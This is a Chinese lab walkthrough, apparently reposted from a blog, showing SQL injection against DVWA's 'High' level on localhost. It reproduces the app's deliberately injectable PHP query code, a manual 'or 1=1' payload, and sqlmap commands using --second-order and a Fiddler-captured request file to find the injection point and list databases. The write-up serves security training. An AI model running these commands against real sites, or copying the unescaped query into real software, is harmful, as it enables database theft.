DVWA之SQL Injection--SQLMap&Fiddler测试(High)
Posted uestc2007
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA之SQL Injection--SQLMap&Fiddler测试(High)相关的知识,希望对你有一定的参考价值。
一、测试需求分析
测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能
防御等级:High
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工+Fiddler+ SQLMap工具
url: http://localhost:8001/dvwa/vulnerabilities/sqli/
session-input.php代码
<?php
define( \'DVWA_WEB_PAGE_TO_ROOT\', \'../../\' );
require_once DVWA_WEB_PAGE_TO_ROOT . \'dvwa/includes/dvwaPage.inc.php\';
dvwaPageStartup( array( \'authenticated\', \'phpids\' ) );
$page = dvwaPageNewGrab();
$page[ \'title\' ] = \'SQL Injection Session Input\' . $page[ \'title_separator\' ].$page[ \'title\' ];
if( isset( $_POST[ \'id\' ] ) ) {
$_SESSION[ \'id\' ] = $_POST[ \'id\' ];
//$page[ \'body\' ] .= "Session ID set!<br /><br /><br />";
$page[ \'body\' ] .= "Session ID: {$_SESSION[ \'id\' ]}<br /><br /><br />";
$page[ \'body\' ] .= "<script>window.opener.location.reload(true);</script>";
}
$page[ \'body\' ] .= "
<form action=\\"#\\" method=\\"POST\\">
<input type=\\"text\\" size=\\"15\\" name=\\"id\\">
<input type=\\"submit\\" name=\\"Submit\\" value=\\"Submit\\">
</form>
<hr />
<br />
<button onclick=\\"self.close();\\">Close</button>";
dvwaSourcehtmlEcho( $page );
?>
防御等级为High的后端控制代码:
high.php
<?php
if( isset( $_SESSION [ \'id\' ] ) ) {
// Get input
$id = $_SESSION[ \'id\' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( \'<pre>Something went wrong.</pre>\' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High、Medium、Low三个防御等级比较:
差异点 | High | Medium | Low |
---|---|---|---|
1. 字符转义 | mysqli_real_escape_string() | ||
2. query参数 | user_id = \'$id\' LIMIT 1 | user_id = $id | user_id = \'$id\' |
3. 参数请求 | _SESSION[ \'id\' ] | id =$_POST[ \'id\' ] | id =$_REQUEST[ \'id\' ] |
4.查询提交&显示 | 提交、显示-页面分离控制 | 提交、显示-页面合一 | 提交、显示-页面合一 |
从以上对比分析:
- High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
- High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:
--second-order="xxxurl"
(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能 - High级别前端用户提交的id值是首先传入到服务端存储到Session文件中,然后再调用给其他需要该id的地方使用。如PhpStudy+DVWA搭建的环境中,Session文件是存储在服务器根目录下的temp二级文件夹下(
...\\tmp\\tmp
):
- High级别的query语句中增加了
LIMIT 1
,以此来控制每次常规查询方式只会输出一个结果的记录;不过通过非常规方式,利用注释符#
注释掉LIMIT 1
的限制,也可以查询出多个结果记录,如1\' or 1=1 #
- High级别的query语句中id传值并没有对特殊符号(如:单引号
\'
)进行转义or限制传递,若采用手工注入方式,则和Low级别的操作流程相似,并不复杂;从以上分析来看,High级别主要是一定长度上限制自动化扫描测试工具SQLMap的常规操作
二、判断注入点&注入类型、获取数据库数据
1.手工方式注入检测
手工操作方式,可参看==>手工测试DVWA之SQL注入漏洞-详细解析(防御: Low) 中的第三步[获取数据库信息]的具体步骤,此处从略
2.利用SQLMap工具注入测试
1)预测试检验
按照以往SQLMap常规的操作方式,首先要后去cookie信息、POST请求体中的Form data数据
构造对应的SQLMap命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch
指向命令的效果:
以上,说明按照常规的SQLMap操作方式已不能判断此种场景(查询数据提交、结果显示分别在2各个不同的页面中)下的注入点,这种操作是针对提交数据和返回数据都在同一个页面的场景
2)调整策略测试
重新调整策略,在同一个SQLMap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-order="xxxurl"
(设置二阶响应的结果显示页面的url)一起尝试测试,具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能
方式1:
构造符合条件的SQLMap命令:
--url="查询数据提交时的页面1的url",或用-u "xxxurl"
--second-order="结果显示的页面2的url"
python2 sqlmap.py --url="http://localhost:8001/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch
查看执行效果:
此时已可注入测试成功,判断出注入点的参数和注入的类型。后续列出数据库数据的操作,只需要在以上有效的SQLMap操作命令末尾添加需要获取不同数据的命令即可,如获取DBMS中的所有数据库名称,SQLMap命令为:
python2 sqlmap.py --url="http://localhost:8001/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=g5mep9dj1vmkjiha8qnpfpn2i7" --batch --dbs
具体可参看==>SQLMap工具检测DVWA之SQL注入漏洞(防御: Low) 中第二步获取数据库信息的步骤[2-10],此处从略
方式2:
利用Fiddler抓取数据提交前后的数据包,在浏览器中提前设置好系统代理的方式,以便于Fiddler抓取数据
将提交数据时的数据包抓取(Inspectors-->Raw),将POST请求的数据复制到txt文本进行保存并命名,如sqli.txt
。然后将其存放在某个路径下,后面会用到路径目录
构造SQLMap操作命令:
-r "REQUESTFILE" ==>从文件中加载HTTP请求。
sqli.txt文件中对应是查询数据提交时的POST数据包的内容,其中已经包含有cookie信息、以及POST请求体中的Form data数据,所以命令中不需要单独在写
python2 sqlmap.py -r "X:\\...\\WWW\\dvwa\\vulnerabilities\\sqli\\sqli.txt" --second-order="http://localhost:8001/dvwa/vulnerabilities/sqli/" --batch
查看指向效果:
同样的可以获取到注入点的参数和注入类型
作者:Fighting_001
链接:https://www.jianshu.com/p/e263ea40fe25
来源:简书
以上是关于DVWA之SQL Injection--SQLMap&Fiddler测试(High)的主要内容,如果未能解决你的问题,请参考以下文章
漏洞防范:搭建漏洞靶场DVWA,DVWA之SQL注入漏洞,利用sqlmap把复杂的程序自动化
DVWA之SQL Injection--SQLMap&Fiddler测试(High)